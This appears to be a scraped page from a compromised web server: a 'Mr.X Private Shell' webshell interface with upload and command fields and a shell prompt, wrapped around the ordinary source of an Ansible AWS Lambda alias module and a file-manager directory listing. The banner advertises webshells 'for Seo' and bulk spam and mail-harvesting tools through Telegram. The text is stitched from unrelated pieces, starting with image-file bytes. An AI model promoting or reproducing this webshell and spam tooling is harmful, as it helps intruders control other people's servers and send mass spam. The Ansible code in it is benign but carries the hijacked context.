����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright: Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type


DOCUMENTATION = '''
---
module: lambda_alias
version_added: 5.0.0
short_description: Creates, updates or deletes AWS Lambda function aliases
description:
  - This module allows the management of AWS Lambda functions aliases via the Ansible
    framework.  It is idempotent and supports "Check" mode.    Use module M(amazon.aws.lambda) to manage the lambda function
    itself and M(amazon.aws.lambda_event) to manage event source mappings.
  - This module was originally added to C(community.aws) in release 1.0.0.

author:
  - Pierre Jodouin (@pjodouin)
  - Ryan Scott Brown (@ryansb)
options:
  function_name:
    description:
      - The name of the function alias.
    required: true
    type: str
  state:
    description:
      - Describes the desired state.
    default: "present"
    choices: ["present", "absent"]
    type: str
  name:
    description:
      - Name of the function alias.
    required: true
    aliases: ['alias_name']
    type: str
  description:
    description:
      - A short, user-defined function alias description.
    type: str
  function_version:
    description:
      -  Version associated with the Lambda function alias.
         A value of 0 (or omitted parameter) sets the alias to the $LATEST version.
    aliases: ['version']
    type: int
    default: 0
extends_documentation_fragment:
  - amazon.aws.aws
  - amazon.aws.ec2
  - amazon.aws.boto3

'''

EXAMPLES = '''
---
# Simple example to create a lambda function and publish a version
- hosts: localhost
  gather_facts: false
  vars:
    state: present
    project_folder: /path/to/deployment/package
    deployment_package: lambda.zip
    account: 123456789012
    production_version: 5
  tasks:
  - name: AWS Lambda Function
    amazon.aws.lambda:
      state: "{{ state | default('present') }}"
      name: myLambdaFunction
      publish: True
      description: lambda function description
      code_s3_bucket: package-bucket
      code_s3_key: "lambda/{{ deployment_package }}"
      local_path: "{{ project_folder }}/{{ deployment_package }}"
      runtime: python2.7
      timeout: 5
      handler: lambda.handler
      memory_size: 128
      role: "arn:aws:iam::{{ account }}:role/API2LambdaExecRole"

  - name: Get information
    amazon.aws.lambda_info:
      name: myLambdaFunction
    register: lambda_info
  - name: show results
    ansible.builtin.debug:
      msg: "{{ lambda_info['lambda_facts'] }}"

# The following will set the Dev alias to the latest version ($LATEST) since version is omitted (or = 0)
  - name: "alias 'Dev' for function {{ lambda_info.lambda_facts.FunctionName }} "
    amazon.aws.lambda_alias:
      state: "{{ state | default('present') }}"
      function_name: "{{ lambda_info.lambda_facts.FunctionName }}"
      name: Dev
      description: Development is $LATEST version

# The QA alias will only be created when a new version is published (i.e. not = '$LATEST')
  - name: "alias 'QA' for function {{ lambda_info.lambda_facts.FunctionName }} "
    amazon.aws.lambda_alias:
      state: "{{ state | default('present') }}"
      function_name: "{{ lambda_info.lambda_facts.FunctionName }}"
      name: QA
      version: "{{ lambda_info.lambda_facts.Version }}"
      description: "QA is version {{ lambda_info.lambda_facts.Version }}"
    when: lambda_info.lambda_facts.Version != "$LATEST"

# The Prod alias will have a fixed version based on a variable
  - name: "alias 'Prod' for function {{ lambda_info.lambda_facts.FunctionName }} "
    amazon.aws.lambda_alias:
      state: "{{ state | default('present') }}"
      function_name: "{{ lambda_info.lambda_facts.FunctionName }}"
      name: Prod
      version: "{{ production_version }}"
      description: "Production is version {{ production_version }}"
'''

RETURN = '''
---
alias_arn:
    description: Full ARN of the function, including the alias
    returned: success
    type: str
    sample: arn:aws:lambda:us-west-2:123456789012:function:myFunction:dev
description:
    description: A short description of the alias
    returned: success
    type: str
    sample: The development stage for my hot new app
function_version:
    description: The qualifier that the alias refers to
    returned: success
    type: str
    sample: $LATEST
name:
    description: The name of the alias assigned
    returned: success
    type: str
    sample: dev
revision_id:
    description: A unique identifier that changes when you update the alias.
    returned: success
    type: str
    sample: 12345678-1234-1234-1234-123456789abc
'''

import re

try:
    import botocore
except ImportError:
    pass  # Handled by AnsibleAWSModule

from ansible.module_utils.common.dict_transformations import camel_dict_to_snake_dict
from ansible.module_utils.common.dict_transformations import snake_dict_to_camel_dict

from ansible_collections.amazon.aws.plugins.module_utils.core import AnsibleAWSModule
from ansible_collections.amazon.aws.plugins.module_utils.core import is_boto3_error_code
from ansible_collections.amazon.aws.plugins.module_utils.ec2 import AWSRetry


def set_api_params(module, module_params):
    """
    Sets non-None module parameters to those expected by the boto3 API.

    :param module:
    :param module_params:
    :return:
    """

    api_params = dict()

    for param in module_params:
        module_param = module.params.get(param, None)
        if module_param:
            api_params[param] = module_param

    return snake_dict_to_camel_dict(api_params, capitalize_first=True)


def validate_params(module):
    """
    Performs basic parameter validation.

    :param module: AnsibleAWSModule reference
    :return:
    """

    function_name = module.params['function_name']

    # validate function name
    if not re.search(r'^[\w\-:]+$', function_name):
        module.fail_json(
            msg='Function name {0} is invalid. Names must contain only alphanumeric characters and hyphens.'.format(function_name)
        )
    if len(function_name) > 64:
        module.fail_json(msg='Function name "{0}" exceeds 64 character limit'.format(function_name))

    #  if parameter 'function_version' is zero, set it to $LATEST, else convert it to a string
    if module.params['function_version'] == 0:
        module.params['function_version'] = '$LATEST'
    else:
        module.params['function_version'] = str(module.params['function_version'])

    return


def get_lambda_alias(module, client):
    """
    Returns the lambda function alias if it exists.

    :param module: AnsibleAWSModule
    :param client: (wrapped) boto3 lambda client
    :return:
    """

    # set API parameters
    api_params = set_api_params(module, ('function_name', 'name'))

    # check if alias exists and get facts
    try:
        results = client.get_alias(aws_retry=True, **api_params)
    except is_boto3_error_code('ResourceNotFoundException'):
        results = None
    except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:  # pylint: disable=duplicate-except
        module.fail_json_aws(e, msg='Error retrieving function alias')

    return results


def lambda_alias(module, client):
    """
    Adds, updates or deletes lambda function aliases.

    :param module: AnsibleAWSModule
    :param client: (wrapped) boto3 lambda client
    :return dict:
    """
    results = dict()
    changed = False
    current_state = 'absent'
    state = module.params['state']

    facts = get_lambda_alias(module, client)
    if facts:
        current_state = 'present'

    if state == 'present':
        if current_state == 'present':
            snake_facts = camel_dict_to_snake_dict(facts)

            # check if alias has changed -- only version and description can change
            alias_params = ('function_version', 'description')
            for param in alias_params:
                if module.params.get(param) is None:
                    continue
                if module.params.get(param) != snake_facts.get(param):
                    changed = True
                    break

            if changed:
                api_params = set_api_params(module, ('function_name', 'name'))
                api_params.update(set_api_params(module, alias_params))

                if not module.check_mode:
                    try:
                        results = client.update_alias(aws_retry=True, **api_params)
                    except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                        module.fail_json_aws(e, msg='Error updating function alias')

        else:
            # create new function alias
            api_params = set_api_params(module, ('function_name', 'name', 'function_version', 'description'))

            try:
                if not module.check_mode:
                    results = client.create_alias(aws_retry=True, **api_params)
                changed = True
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Error creating function alias')

    else:  # state = 'absent'
        if current_state == 'present':
            # delete the function
            api_params = set_api_params(module, ('function_name', 'name'))

            try:
                if not module.check_mode:
                    results = client.delete_alias(aws_retry=True, **api_params)
                changed = True
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Error deleting function alias')

    return dict(changed=changed, **dict(results or facts or {}))


def main():
    """
    Main entry point.

    :return dict: ansible facts
    """
    argument_spec = dict(
        state=dict(required=False, default='present', choices=['present', 'absent']),
        function_name=dict(required=True),
        name=dict(required=True, aliases=['alias_name']),
        function_version=dict(type='int', required=False, default=0, aliases=['version']),
        description=dict(required=False, default=None),
    )

    module = AnsibleAWSModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        mutually_exclusive=[],
        required_together=[],
    )

    client = module.client('lambda', retry_decorator=AWSRetry.jittered_backoff())

    validate_params(module)
    results = lambda_alias(module, client)

    module.exit_json(**camel_dict_to_snake_dict(results))


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
autoscaling_group.py File 82.17 KB 0644
autoscaling_group_info.py File 16.46 KB 0644
aws_az_info.py File 6.12 KB 0644
aws_caller_info.py File 3.66 KB 0644
cloudformation.py File 35.27 KB 0644
cloudformation_info.py File 19.77 KB 0644
cloudtrail.py File 24 KB 0644
cloudtrail_info.py File 9.68 KB 0644
cloudwatch_metric_alarm.py File 18.87 KB 0644
cloudwatch_metric_alarm_info.py File 11.32 KB 0644
cloudwatchevent_rule.py File 18.49 KB 0644
cloudwatchlogs_log_group.py File 13.58 KB 0644
cloudwatchlogs_log_group_info.py File 4.72 KB 0644
cloudwatchlogs_log_group_metric_filter.py File 7.12 KB 0644
ec2_ami.py File 31.7 KB 0644
ec2_ami_info.py File 9.32 KB 0644
ec2_eip.py File 24.46 KB 0644
ec2_eip_info.py File 4.36 KB 0644
ec2_eni.py File 33.18 KB 0644
ec2_eni_info.py File 9.94 KB 0644
ec2_instance.py File 87.54 KB 0644
ec2_instance_info.py File 22.73 KB 0644
ec2_key.py File 12.67 KB 0644
ec2_metadata_facts.py File 29.53 KB 0644
ec2_security_group.py File 62.18 KB 0644
ec2_security_group_info.py File 10.7 KB 0644
ec2_snapshot.py File 13.31 KB 0644
ec2_snapshot_info.py File 10.67 KB 0644
ec2_spot_instance.py File 24.21 KB 0644
ec2_spot_instance_info.py File 10.6 KB 0644
ec2_tag.py File 4.97 KB 0644
ec2_tag_info.py File 1.78 KB 0644
ec2_vol.py File 31.01 KB 0644
ec2_vol_info.py File 6.89 KB 0644
ec2_vpc_dhcp_option.py File 21.87 KB 0644
ec2_vpc_dhcp_option_info.py File 7.19 KB 0644
ec2_vpc_endpoint.py File 18.54 KB 0644
ec2_vpc_endpoint_info.py File 9.74 KB 0644
ec2_vpc_endpoint_service_info.py File 5.61 KB 0644
ec2_vpc_igw.py File 8.65 KB 0644
ec2_vpc_igw_info.py File 6 KB 0644
ec2_vpc_nat_gateway.py File 31.08 KB 0644
ec2_vpc_nat_gateway_info.py File 7.28 KB 0644
ec2_vpc_net.py File 26.35 KB 0644
ec2_vpc_net_info.py File 10.16 KB 0644
ec2_vpc_route_table.py File 33.92 KB 0644
ec2_vpc_route_table_info.py File 8.92 KB 0644
ec2_vpc_subnet.py File 21.59 KB 0644
ec2_vpc_subnet_info.py File 7.1 KB 0644
elb_application_lb.py File 32.32 KB 0644
elb_application_lb_info.py File 13.22 KB 0644
elb_classic_lb.py File 78.43 KB 0644
iam_policy.py File 10.46 KB 0644
iam_policy_info.py File 5.9 KB 0644
iam_user.py File 21.6 KB 0644
iam_user_info.py File 5.96 KB 0644
kms_key.py File 38.2 KB 0644
kms_key_info.py File 18.46 KB 0644
lambda.py File 33.54 KB 0644
lambda_alias.py File 10.47 KB 0644
lambda_event.py File 15.42 KB 0644
lambda_execute.py File 10.08 KB 0644
lambda_info.py File 20.06 KB 0644
lambda_layer.py File 12.31 KB 0644
lambda_layer_info.py File 7.39 KB 0644
lambda_policy.py File 13.45 KB 0644
rds_cluster.py File 46.03 KB 0644
rds_cluster_info.py File 10.62 KB 0644
rds_cluster_snapshot.py File 12.69 KB 0644
rds_instance.py File 63.34 KB 0644
rds_instance_info.py File 12.63 KB 0644
rds_instance_snapshot.py File 12.26 KB 0644
rds_option_group.py File 23.86 KB 0644
rds_option_group_info.py File 12.56 KB 0644
rds_param_group.py File 13.04 KB 0644
rds_snapshot_info.py File 12.4 KB 0644
rds_subnet_group.py File 13.05 KB 0644
route53.py File 28.19 KB 0644
route53_health_check.py File 24.4 KB 0644
route53_info.py File 32.05 KB 0644
route53_zone.py File 19.93 KB 0644
s3_bucket.py File 52.93 KB 0644
s3_object.py File 55.57 KB 0644
s3_object_info.py File 32.55 KB 0644